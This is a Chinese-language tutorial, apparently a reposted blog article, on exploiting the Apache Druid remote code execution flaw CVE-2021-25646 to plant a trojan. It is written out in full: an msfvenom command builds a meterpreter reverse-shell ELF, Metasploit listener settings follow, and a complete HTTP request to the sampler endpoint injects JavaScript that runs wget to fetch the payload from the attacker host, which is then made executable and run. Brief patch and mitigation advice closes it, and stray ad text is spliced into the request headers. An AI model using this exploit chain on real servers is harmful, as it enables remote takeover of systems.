如何利用Apache Druid 远程代码执行漏洞CVE-2021-25646上传木马程序


这篇文章给大家介绍如何利用Apache Druid 远程代码执行漏洞CVE-2021-25646上传木马程序,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。Apache Druid 是用Java编写的面向列的开源分布式数据存储系统,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。近日Apache Druid官方发布了安全更新,修复远程代码执行漏洞(CVE-2021-25646)Apache Druid含有能够执行嵌入在各种类型请求中由用户提供的JavaScript代码功能。此功能适用于高度信任环境,且默认情况下已禁用。但是,在Druid 0.20.0及更早版本中,经过身份验证用户可以构造传入json串来控制某些参数发送恶意的请求,强制Druid为该请求运行用户提供的JavaScript代码。由于Apache Druid默认情况下缺乏授权认证,攻击者可以利用此漏洞在目标机器上执行任意代码,最终可获取服务器的控制权限。本次使用的攻击机地址为:192.168.159.131 靶机地址:192.168.159.1391、使用MSF生成反弹shell的木马程序,命令为:msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.159.131 LPORT=5555 -f elf > reverse.elf备注:我这边使用的靶机是64位系统,所以选择的x64攻击负载,32位系统可以选择x862、在攻击机上使用python开启web服务,下文将通过Apache Druid 远程代码执行漏洞执行wget命令,从刚搭建的web服务商下载msf生成的reverse.elf文件3、使用MSF开启监听模块,命令为:use exploit/multi/handlerset payload linux/x64/meterpreter/reverse_tcpset lhost 192.168.159.131set lport 5555run1、从https://github.com/apache/druid/releases/tag/druid-0.19.0下载Druid0.19版本,如下图所示2、使用docker搭建Druid漏洞环境,解压下载的文件,进入druid-druid-0.19.0/distribution/docker路径使用docker-compose up –d搭建漏洞环境,完成之后访问http://192.168.159.139:88883、将下面的poc复制到burpsuit的repeater模块,攻击载荷中最终执行的命令为:wget http://192.168.159.131:888/reverse.elf,从搭建的web服务器上将反弹shell木马程序下载到靶机上POST /druid/indexer/v1/sampler HTTP/1.1Host: 192.168.159.139:8888User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: 免费云主机域名gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Type: application/json;charset=UTF-8Content-Length: 931{“type”:”index”,”spec”:{“type”:”index”,”ioConfig”:{“type”:”index”,”inputSource”:{“type”:”http”,”uris”:[“https://druid.apache.org/data/example-manifests.tsv”]},”inputFormat”:{“type”:”tsv”,”findColumnsFromHeader”:true}},”dataSchema”:{“dataSource”:”sample”,”timestampSpec”:{“column”:”timestamp”,”missingValue”:”2010-01-01T00:00:00Z”},”dimensionsSpec”:{},”transformSpec”:{“transforms”:[],”filter”:{“type”: “javascript”,”function”: “function(value){return java.lang.Runtime.getRuntime().exec(‘wget http://192.168.159.131:888/reverse.elf’)}”,”dimension”: “added”,””: {“enabled”: “true”}}}},”type”:”index”,”tuningConfig”:{“type”:”index”}},”samplerConfig”:{“numRows”:50,”timeoutMs”:10000}}4、将下载到靶机上的reverse.elf恶意程序赋予可执行权限,命令为:chmod a+x reverse.elf5、执行reverse.elf程序,执行命令为: ./reverse.elf6、msf成功收到反弹的shellApache Druid
高危Apache Druid 官方已在新版本中修复此漏洞,请升级至0.20.1及以上版本,下载链接:https://github.com/apache/druid/releases/tag/druid-0.20.1若暂时无法升级,可以通过以下方法临时缓解影响:设置网络访问控制策略,只允许可信任的内网IP访问Druid。引入druid-basic-security扩展添加授权认证。关于如何利用Apache Druid 远程代码执行漏洞CVE-2021-25646上传木马程序就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

相关推荐: 利用mic visual studio 2010 编译器执行wincap获取网络适配器的代码

WinPcap提供了 pcap_findalldevs_ex() 函数来实现这个功能: 这个函数返回一个 pcap_if 结构的链表, 每个这样的免费云主机域名结构都包含了一个适配器的详细信息。值得注意的是,数据域 name 和 description 表示一…

免责声明:本站发布的图片视频文字,以转载和分享为主,文章观点不代表本站立场,本站不承担相关法律责任;如果涉及侵权请联系邮箱:360163164@qq.com举报,并提供相关证据,经查实将立刻删除涉嫌侵权内容。

(0)
打赏 微信扫一扫 微信扫一扫
上一篇 02/05 12:58
下一篇 02/05 12:58